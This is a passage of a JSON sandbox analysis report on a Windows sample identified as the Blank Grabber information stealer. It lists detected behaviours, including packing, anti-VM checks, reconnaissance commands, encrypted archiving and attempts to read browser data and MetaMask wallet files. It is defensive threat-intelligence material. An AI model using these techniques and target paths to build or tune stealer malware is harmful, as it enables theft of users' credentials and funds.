Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"suspicious","category":"Environment Awareness","name":"May attempt to implement anti-virtualization techniques using MAC address detection","description":"\"00:50:56:91:B4:44\" (Indicator: \"00:50:56\")","origin":"File/Memory","mitre_attack_id":"T1518.001","relevance":3,"id":"string-2","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"6/26 Antivirus vendors marked sample as malicious (23% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"$75","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"suspicious","category":"General","name":"Writes archive files","description":"\"builder.exe\" writes archive file \"%TEMP%\\_MEI50282\\base_library.zip\"","origin":"API Call","mitre_attack_id":"T1560","relevance":5,"id":"api-168","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$76","origin":"Binary File","mitre_attack_id":"T1105","relevance":5,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$77","origin":"API Call","mitre_attack_id":"T1105","relevance":5,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"suspicious","category":"Network Related","name":"Attempts to identify external IP address","description":"\"ip-api.com\"","origin":"Network Traffic","mitre_attack_id":"T1016","relevance":6,"id":"network-24","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 142.251.218.227 on port 443 is sent without HTTP header\n TCP traffic to 208.95.112.1 on port 80 is sent without HTTP header\n TCP traffic to 162.159.138.232 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"suspicious","category":"Ransomware/Banking","name":"Contains ability to update the user profile","description":"SystemParametersInfoW@USER32.dll at 34853-690-0000000140001B90","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1098","relevance":5,"id":"stream-123","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains references to WMI/WMIC","description":"$78","origin":"File/Memory","mitre_attack_id":"T1047","relevance":3,"id":"string-30","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"builder.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\_MEI50282\\Camera.exe\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_zwnrogxa.vac.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_55bf5q1e.wli.psm1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_y3ab1goo.jcn.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_lanwbxd5.2g5.psm1\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"builder.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\_MEI50282\\Camera.exe\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_zwnrogxa.vac.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_55bf5q1e.wli.psm1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_y3ab1goo.jcn.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_lanwbxd5.2g5.psm1\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"builder.exe\" claimed CRC 6331523 while the actual is CRC 6331751\n \"sqlite3.dll\" claimed CRC 668897 while the actual is CRC 625503\n \"Camera.exe\" claimed CRC 144807 while the actual is CRC 32049","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Entrypoint in PE header is within an uncommon section","description":"\"python310.dll\" has an entrypoint in section \"UPX1\"\n \"libcrypto-1_1.dll\" has an entrypoint in section \"UPX1\"\n \"sqlite3.dll\" has an entrypoint in section \"UPX1\"\n \"libssl-1_1.dll\" has an entrypoint in section \"UPX1\"\n \"Camera.exe\" has an entrypoint in section \"CPX1\"\n \"libffi-7.dll\" has an entrypoint in section \"UPX1\"\n \"unicodedata.pyd\" has an entrypoint in section \"UPX1\"\n \"_decimal.pyd\" has an entrypoint in section \"UPX1\"\n \"_lzma.pyd\" has an entrypoint in section \"UPX1\"\n \"_ssl.pyd\" has an entrypoint in section \"UPX1\"\n \"_ctypes.pyd\" has an entrypoint in section \"UPX1\"\n \"_sqlite3.pyd\" has an entrypoint in section \"UPX1\"\n \"_bz2.pyd\" has an entrypoint in section \"UPX1\"\n \"_socket.pyd\" has an entrypoint in section \"UPX1\"\n \"_hashlib.pyd\" has an entrypoint in section \"UPX1\"\n \"_queue.pyd\" has an entrypoint in section \"UPX1\"\n \"select.pyd\" has an entrypoint in section \"UPX1\"\n \"tinyaes.cp310-win_amd64.pyd\" has an entrypoint in section \"UPX1\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-4","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"OpenProcessToken\n GetModuleHandleW\n WriteFile\n DeleteFileW\n UnhandledExceptionFilter\n LoadLibraryExW\n CreateDirectoryW\n GetModuleHandleExW\n GetTempPathW\n TerminateProcess\n IsDebuggerPresent\n CreateProcessW\n GetStartupInfoW\n FindNextFileW\n GetFileAttributesExW\n GetFileSizeEx\n Sleep\n CreateFileW\n GetProcAddress\n FindFirstFileExW\n GetDriveTypeW\n GetCommandLineW\n GetModuleFileNameW\n GetCommandLineA\n VirtualProtect\n LoadLibraryA\n RegCloseKey\n RegOpenKeyExW\n FindFirstFileExA\n CreateThread\n GetVersionExW\n GetSystemDirectoryW\n FindFirstFileW\n GetFileAttributesW\n LoadLibraryW\n GetModuleFileNameA\n FindNextFileA\n DeviceIoControl","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Timestamp in PE header is very old or in the future","description":"\"builder.exe\" claims program is from Thu Jan 1 00:00:00 1970\n \"VCRUNTIME140.dll\" claims program is from Sat Sep 30 01:19:01 2045","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-3","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Use of archive tools for protected file compression/decompression detected (often used to hide payload)","description":"Process \"rar.exe\" with commandline \"a -r -hpblank \"%TEMP%\\\\mXgY8.zip\" *\" (UID: 00000000-00008056)","origin":"Monitored Target","mitre_attack_id":"T1027","relevance":7,"id":"target-65","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"malicious","category":"Environment Awareness","name":"Tries to gather information about running processes on a system","description":"Process \"tasklist.exe\" with commandline \"tasklist /FO LIST\" (UID: 00000000-00004020)\n Process \"tasklist.exe\" with commandline \"tasklist /FO LIST\" (UID: 00000000-00003884)\n Process \"tasklist.exe\" with commandline \"tasklist /FO LIST\" (UID: 00000000-00007892)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-136","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted antivirus engine","description":"Trusted antivirus vendors count marked sample as malicious (count = 2)","origin":"External System","mitre_attack_id":"T1204.002","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"12/23 Antivirus vendors marked dropped file \"Camera.exe\" as malicious (classified as \"CommandCam\" with 52% detection rate)","origin":"Binary File","mitre_attack_id":"T1204.002","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"12/23 Antivirus vendors marked spawned process \"Camera.exe\" (PID: 6940) as malicious (classified as \"CommandCam\" with 52% detection rate)","origin":"Monitored Target","mitre_attack_id":"T1204.002","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"builder.exe\" wrote 00000FB8 bytes to a remote process \"C:\\builder.exe\" (Handle: 348)\n \"builder.exe\" wrote 00000008 bytes to a remote process \"C:\\builder.exe\" (Handle: 348)\n \"net.exe\" wrote 00000FB8 bytes to a remote process \"C:\\Windows\\System32\\net1.exe\" (Handle: 212)\n \"net.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\net1.exe\" (Handle: 212)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"malicious","category":"Network Related","name":"Maps a network share location","description":"Process \"net.exe\" with commandline \"net session\" (UID: 00000000-00004996)\n Process \"net1.exe\" with commandline \"%WINDIR%\\\\system32\\\\net1 session\" (UID: 00000000-00001732)","origin":"Monitored Target","mitre_attack_id":"T1049","relevance":3,"id":"target-88","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"malicious","category":"Network Related","name":"Upload file using POST request","description":"$79","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-58","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match","description":"YARA signature \"MALWARE_Win_BlankStealer\" matched process \"00000000-00005028\" as \"Detects BlankStealer / BlankGrabber / Blank-c Stealer\"","origin":"YARA Signature","relevance":9,"id":"yara-0","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"level":"malicious","category":"Ransomware/Banking","name":"Checks for files associated with bitcoin mining software","description":"\"builder.exe\" opened file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\BYTECOIN\"\n \"builder.exe\" opened file \"%APPDATA%\\BYTECOIN\"","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-46","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Collects system information using POST request","description":"$7a","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Known malware detected","description":"The sample is known malware – Blank Grabber","origin":"Indicator Combinations","mitre_attack_id":"T1219","relevance":10,"id":"summary-5024","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal Crypto currency wallets information (file access)","description":"$7b","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-101","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"$7c","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal crypto wallet extension (file access)","description":"builder.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Local Extension Settings\\EJBALBAKOPLCHLGHECDALMEEEAJNIMHM related to MetaMask\n builder.exe trying to open a file C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Local Extension Settings\\NKBIHFBEOGAEAOEHLEFNKODBEFGPGKNN related to MetaMask\n builder.exe trying to open a file %LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Local Extension Settings\\EJBALBAKOPLCHLGHECDALMEEEAJNIMHM related to MetaMask\n builder.exe trying to open a file %LOCALAPPDATA%\\Microsoft\\Edge\\User Data\\Default\\Local Extension Settings\\NKBIHFBEOGAEAOEHLEFNKODBEFGPGKNN related to MetaMask","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-114","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"$7d","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to remove a directory","description":"\"builder.exe\" called \"RemoveDirectoryW\" with parameter %TEMP%\\_MEI42322 (UID: 00000000-00004232)","origin":"API Call","mitre_attack_id":"T1070.004","relevance":3,"id":"api-121","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"builder.exe\" called \"GetForegroundWindow\" (UID: 00000000-00005092)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"\"builder.exe\" called \"GetWindowTextW\" with parameter \"4f004b00\" - (UID: 00000000-00005092)\n \"builder.exe\" called \"GetWindowTextW\" with parameter \"Error loading Python DLL '%TEMP%\\_MEI42322\\python310.dll'.LoadLibrary: The specified module could no\" - (UID: 00000000-00005092)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to open an existing named mutex object","description":"\"builder.exe\" called \"OpenMutexW\" with parameter \"Local\\MSCTF.Asm.MutexDefault1\" - (UID: 00000000-00005092)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-144","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"level":"informative","category":"Installation/Persistence","name":"Connects to LPC ports","description":"\"builder.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","mitre_attack_id":"T1559","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"File exhibits characteristics of junk code obfuscation","description":"$7e","origin":"Static Parser","mitre_attack_id":"T1027.016","relevance":3,"id":"static-9001","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"level":"suspicious","category":"Anti-Detection/Stealthiness","name":"PE file has no resource directory","description":"\"libffi-7.dll\" has no resource directory","origin":"Static Parser","mitre_attack_id":"T1027.008","relevance":7,"id":"static-9002","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file is packed with UPX","description":"$7f","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-7","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"level":"malicious","category":"General","name":"The input sample is signed with an invalid certificate","description":"Error: The operation completed successfully. (0x0)","origin":"Certificate Data","mitre_attack_id":"T1553.002","relevance":10,"id":"certificate-1","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - \\.\\GlobalRoot\\SystemRoot\\Defender Duplication Data; Source: \"00000000-00001492.00000001.205156.A1C50000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00003388-00000C2C-1388334020\")\n Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; Source: \"00000000-00003932-00000C2C-1424449211\")\n Found reference to API \"description=\"Uses CryptProtectData and CryptUnP\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00001624.00000001.208434.4B742000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-920","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Cryptographic Related","name":"Calls an API typically used to convert data from string to binary","description":"$80","origin":"API Call","mitre_attack_id":"T1027","relevance":3,"id":"api-229","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Found reference to API \"description=\"Uses CryptProtectData and CryptUnP\" (Indicator: \"CryptProtectData\"; Source: \"00000000-00001624.00000001.208434.4B742000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify sandbox environment running process","description":"Found string \"vmtoolsd.exe\" (Indicator: \"vmtoolsd.exe\"; Source: \"00000000-00000832.00000001.206141.84C80000.00000004.mdmp, 00000000-00000832.00000002.206262.84CD1000.00000004.mdmp\")\n Found string \"VGAuthService.exe\" (Indicator: \"VGAuthService.exe\"; Source: \"00000000-00000832.00000001.206141.84C80000.00000004.mdmp\")\n Found string \"vgauthservice.exe\" (Indicator: \"VGAuthService.exe\"; Source: \"00000000-00000832.00000001.206141.84C80000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497","relevance":1,"id":"string-666","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to find open windows (API string)","description":"Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; Source: \"00000000-00000832.00000000.204221.4A1D4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-413","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"level":"informative","category":"Environment Awareness","name":"Executes WMI queries","description":"\"tasklist.exe\" issued a query \"SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process\"\n \"WMIC.exe\" issued a query \"SELECT displayName FROM AntivirusProduct\"\n \"WMIC.exe\" issued a query \"SELECT Caption FROM Win32_OperatingSystem\"\n \"WMIC.exe\" issued a query \"SELECT TotalPhysicalMemory FROM Win32_ComputerSystem\"\n \"WMIC.exe\" issued a query \"SELECT UUID FROM Win32_ComputerSystemProduct\"\n \"WMIC.exe\" issued a query \"SELECT Name FROM win32_VideoController\"","origin":"API Call","mitre_attack_id":"T1047","relevance":10,"id":"api-56","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; Source: \"00000000-00000832.00000000.204221.4A1D4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"level":"informative","category":"General","name":"Observed Powershell command strings","description":"Found string \"Write-Output -InputObject $byteCollectionObject\" (Indicator: \"Write-Output\"; Source: \"00000000-00001492.00000001.205156.A1A10000.00000004.mdmp, 00000000-00001492.00000002.205600.A1A30000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-187","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"level":"informative","category":"Network Related","name":"Contains ability to enumerate network resources (API string)","description":"Found reference to API \"WNetAddConnection2W\" (Indicator: \"NetAddConnection\"; Source: \"00000000-00000832.00000000.204221.4A1D4000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-257","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to mutex-related activity (API string)","description":"Found reference to API \"ReleaseMutex\" (Indicator: \"ReleaseMutex\"; Source: \"00000000-00001624.00000001.208434.301E3000.00000002.mdmp\")\n Found reference to API \"CreateMutexExW\" (Indicator: \"CreateMutex\"; Source: \"00000000-00001624.00000001.208434.301E3000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-354","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"level":"informative","category":"Unusual Characteristics","name":"Possibly uses a Windows Server utility","description":"\"RuntimeBroker.exe\" (Indicator: \"runtimebroker.exe\")","origin":"File/Memory","relevance":10,"id":"string-65","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"rar.exe\" reads file \"C:\\Users\\%OSUSER%\\Videos\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$81","origin":"Registry 